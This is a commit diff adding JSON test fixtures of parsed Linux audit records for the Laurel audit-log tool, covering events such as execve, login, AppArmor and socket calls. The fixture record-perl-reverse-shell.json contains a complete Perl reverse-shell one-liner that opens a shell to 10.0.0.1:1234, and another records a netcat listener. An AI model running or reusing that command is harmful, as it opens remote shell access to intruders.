Add Laurel-generated JSON output corresponding to test records

src/testdata/record-adjntpval.json

@@ -0,0 +1 @@
+{"ID":"1640024915.264:4237","TIME_ADJNTPVAL":[{"op":"freq","old":"-37201248256000","new":"-37237817344000"}],"SYSCALL":{"arch":"0xc000003e","syscall":159,"success":"yes","exit":0,"items":0,"ppid":1,"pid":820,"auid":4294967295,"uid":995,"gid":991,"euid":995,"suid":995,"fsuid":995,"egid":991,"sgid":991,"fsgid":991,"tty":"(none)","ses":4294967295,"comm":"chronyd","exe":"/usr/sbin/chronyd","subj":"system_u:system_r:chronyd_t:s0","key":"(null)ARCH=x86_64","SYSCALL":"adjtimex","AUID":"unset","UID":"chrony","GID":"chrony","EUID":"chrony","SUID":"chrony","FSUID":"chrony","EGID":"chrony","SGID":"chrony","FSGID":"chrony","ARGV":["0x7ffeaf991370","0x0","0x2710","0x0"]}}

src/testdata/record-anom-promiscuous.json

@@ -0,0 +1 @@
+{"ID":"1708689989.768:339749193","ANOM_PROMISCUOUS":[{"dev":"veth5f40f62","prom":256,"old_prom":0,"auid":4294967295,"uid":0,"gid":0,"ses":4294967295,"AUID":"unset","UID":"root","GID":"root"}],"SYSCALL":{"arch":"0xc000003e","syscall":44,"success":"yes","exit":40,"items":0,"ppid":1,"pid":13877,"auid":4294967295,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":4294967295,"comm":"dockerd","exe":"/usr/bin/dockerd","key":null,"ARCH":"x86_64","SYSCALL":"sendto","AUID":"unset","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0xe","0xc002e50000","0x28","0x0"]},"SOCKADDR":[{"saddr":"%10%00%00%00%00%00%00%00%00%00%00%00","SADDR":"{fam=netlink nlnk-fam=16 nlnk-pid=0}"}]}

src/testdata/record-avc-apparmor.json

@@ -0,0 +1 @@
+{"ID":"1634728455.294:53732","SYSCALL":{"arch":"0xc000003e","syscall":1,"success":"yes","exit":19577,"items":0,"ppid":3981294,"pid":3981295,"auid":4294967295,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":4294967295,"comm":"apparmor_parser","exe":"/usr/sbin/apparmor_parser","subj":"unconfined","key":null,"ARCH":"x86_64","SYSCALL":"write","AUID":"unset","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0x7","0x560174cd7790","0x4c79","0x0"]},"AVC":[{"apparmor":"STATUS","operation":"profile_replace","info":"same as current profile, skipping","profile":"unconfined","name":"snap-update-ns.amazon-ssm-agent","pid":3981295,"comm":"apparmor_parser"}]}

src/testdata/record-bind-ipv4-bigendian.json

@@ -0,0 +1 @@
+{"ID":"1708028025.033:10","SYSCALL":{"arch":"0x80000015","syscall":327,"success":"yes","exit":0,"items":0,"ppid":2649,"pid":2650,"auid":0,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts1","ses":1,"comm":"nc","exe":"/usr/bin/nc.openbsd","key":null,"ARGV":["0x3","0x33ee202d0","0x10","0x7fffe9628078"]},"SOCKADDR":[{"saddr":"%00%02%d9%03%00%00%00%00%00%00%00%00%00%00%00%00"}],"PROCTITLE":{"ARGV":["nc","-l","-p","55555"]}}

src/testdata/record-execve-long.json

@@ -0,0 +1 @@
+{"ID":"1615150974.493:21028","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":10881,"pid":8832,"auid":1000,"uid":1000,"gid":1000,"euid":1000,"suid":1000,"fsuid":1000,"egid":1000,"sgid":1000,"fsgid":1000,"tty":"pts1","ses":1,"comm":"echo","exe":"/usr/bin/echo","key":null,"ARCH":"x86_64","SYSCALL":"execve","AUID":"user","UID":"user","GID":"user","EUID":"user","SUID":"user","FSUID":"user","EGID":"user","SGID":"user","FSGID":"user","ARGV":["0x593d4c9f5f50","0x593d4c9adc80","0x593d4c9c38a0","0xfffffffffffff878"],"LABELS":["echo"]},"EXECVE":{"argc":2,"ARGV_STR":"/bin/echo baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

src/testdata/record-execve.json

@@ -0,0 +1 @@
+{"ID":"1615114232.375:15558","NODE":"work","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":10883,"pid":10884,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts1","ses":1,"comm":"whoami","exe":"/usr/bin/whoami","key":null,"ARCH":"x86_64","SYSCALL":"execve","AUID":"user","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0x63b29337fd18","0x63b293387d58","0x63b293375640","0xfffffffffffff000"]},"EXECVE":{"argc":1,"ARGV_STR":"whoami"},"CWD":{"cwd":"/home/user/tmp"},"PATH":[{"item":0,"name":"/usr/bin/whoami","inode":261214,"dev":"ca:03","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","OUID":"root","OGID":"root"},{"item":1,"name":"/lib64/ld-linux-x86-64.so.2","inode":262146,"dev":"ca:03","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["whoami"]}}

src/testdata/record-login.json

@@ -0,0 +1 @@
+{"ID":"1640027821.949:151316","LOGIN":[{"pid":72605,"uid":0,"subj":"unconfined","old-auid":4294967295,"auid":0,"tty":"(none)","old-ses":4294967295,"ses":325,"res":1,"UID":"root","OLD-AUID":"unset","AUID":"root"}],"SYSCALL":{"arch":"0xc00000b7","syscall":64,"success":"yes","exit":1,"items":0,"ppid":519,"pid":72605,"auid":0,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":325,"comm":"cron","exe":"/usr/sbin/cron","subj":"unconfined","key":null,"ARCH":"aarch64","SYSCALL":"write","AUID":"root","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0x7","0xffffe505f9e0","0x1","0xffff90795f10"]}}

src/testdata/record-nscd.json

@@ -0,0 +1 @@
+{"ID":"1705071450.879:29498378","SYSCALL":{"arch":"0xc000003e","syscall":42,"success":"no","exit":-2,"items":1,"ppid":1064378,"pid":3736674,"auid":1000,"uid":1000,"gid":1000,"euid":1000,"suid":1000,"fsuid":1000,"egid":1000,"sgid":1000,"fsgid":1000,"tty":"pts9","ses":2,"comm":"ls","exe":"/usr/bin/ls","subj":"unconfined","key":null,"ARCH":"x86_64","SYSCALL":"connect","AUID":"user","UID":"user","GID":"user","EUID":"user","SUID":"user","FSUID":"user","EGID":"user","SGID":"user","FSGID":"user","ARGV":["0x4","0x7ffeabb1aa00","0x6e","0x0"]},"SOCKADDR":[{"saddr":"%01%00/var/run/nscd/socket%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%008S%02%00%00%00%00%008S%02%00%00%00%00%00%00%10%00%00%00%00%00%00%01%00%00%00%05%00%00%00%00`%02%00%00%00%00%00%00`%02%00%00%00%00%00%00`%02%00%00%00%00%00<L%15%00%00%00","SADDR":"{saddr_fam=local path=/var/run/nscd/socket}"}],"CWD":{"cwd":"/home/user"},"PATH":[{"item":0,"name":"/var/run/nscd/socket","nametype":"UNKNOWN","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0"}]}

src/testdata/record-perl-reverse-shell.json

@@ -0,0 +1 @@
+{"ID":"1626611363.720:348501","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":3,"ppid":722076,"pid":724395,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts3","ses":3,"comm":"perl","exe":"/usr/bin/perl","subj":"=unconfined","key":null,"ARCH":"x86_64","SYSCALL":"execve","AUID":"user","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","ARGV":["0x55c094deb5c0","0x55c094dea770","0x55c094dbf1b0","0xfffffffffffff286"]},"EXECVE":{"argc":3,"ARGV_STR":"perl -e use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"},"CWD":{"cwd":"/root"},"PATH":[{"item":0,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":1,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":2,"name":"/lib64/ld-linux-x86-64.so.2","inode":404797,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["perl","-e","use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_at"]}}

src/testdata/record-syscall-key.json

@@ -0,0 +1 @@
+{"ID":"1628602815.266:2366","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":3193,"pid":6382,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts0","ses":1,"comm":"cat","exe":"/usr/bin/cat","key":"filter-this","arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"items":2,"ppid":3193,"pid":6382,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts0","ses":1,"comm":"cat","exe":"/usr/bin/cat","key":"this-too","ARGV":["0x2557470","0x247b510","0x2565820","0x5bb","0x2557470","0x247b510","0x2565820","0x5bb"]}}

src/testdata/record-syscall-nullkey.json

@@ -0,0 +1,3 @@
+{"ID":"1678282381.452:102337","PROCTITLE":{"ARGV":["(systemd)"]},"SYSCALL":{"arch":"0xc000003e","syscall":1,"success":"yes","exit":5,"items":0,"ppid":1,"pid":3489504,"auid":34005,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":15589,"comm":"(systemd)","exe":"/usr/lib/systemd/systemd","subj":"system_u:system_r:init_t:s0","key":null,"ARGV":["0x9","0x7ffd4ac563d1","0x5","0x0"]}}
+{"ID":"1678282320.958:102262","PROCTITLE":{"ARGV":["SomeRandomProcess"]},"SYSCALL":{"arch":"0xc000003e","syscall":1,"success":"yes","exit":5,"items":0,"ppid":8750,"pid":3483623,"auid":34025,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"(none)","ses":15584,"comm":"sshd","exe":"/bin/sshd","subj":"system_u:system_r:sshd_t:s0-s0:c0.c1023","key":null,"ARGV":["0x3","0x7ffd9f4453e0","0x5","0x0"]}}
+{"ID":"1678283440.683:225","PROCTITLE":{"ARGV":["SomeRandomProcess"]},"PATH":[{"item":0,"name":"/proc/2414/root/usr/bin/su","inode":156161,"dev":"fd:00","mode":"0o104755","ouid":0,"ogid":0,"rdev":"00:00","obj":"system_u:object_r:su_exec_t:s0","objtype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0"}],"SYSCALL":{"arch":"0xc000003e","syscall":4,"success":"yes","exit":0,"items":1,"ppid":816,"pid":818,"auid":4292467295,"uid":502,"gid":502,"euid":502,"suid":502,"fsuid":502,"egid":502,"sgid":502,"fsgid":502,"tty":"(none)","ses":4296967295,"comm":"cat","exe":"/usr/bin/cat","subj":"system_u:system_r:system_t:s0","key":null,"ARGV":["0x7edd0caa2e7e0","0x7345b64adba0","0x7ff9874adba0","0xfeefeffefefefeff"]}}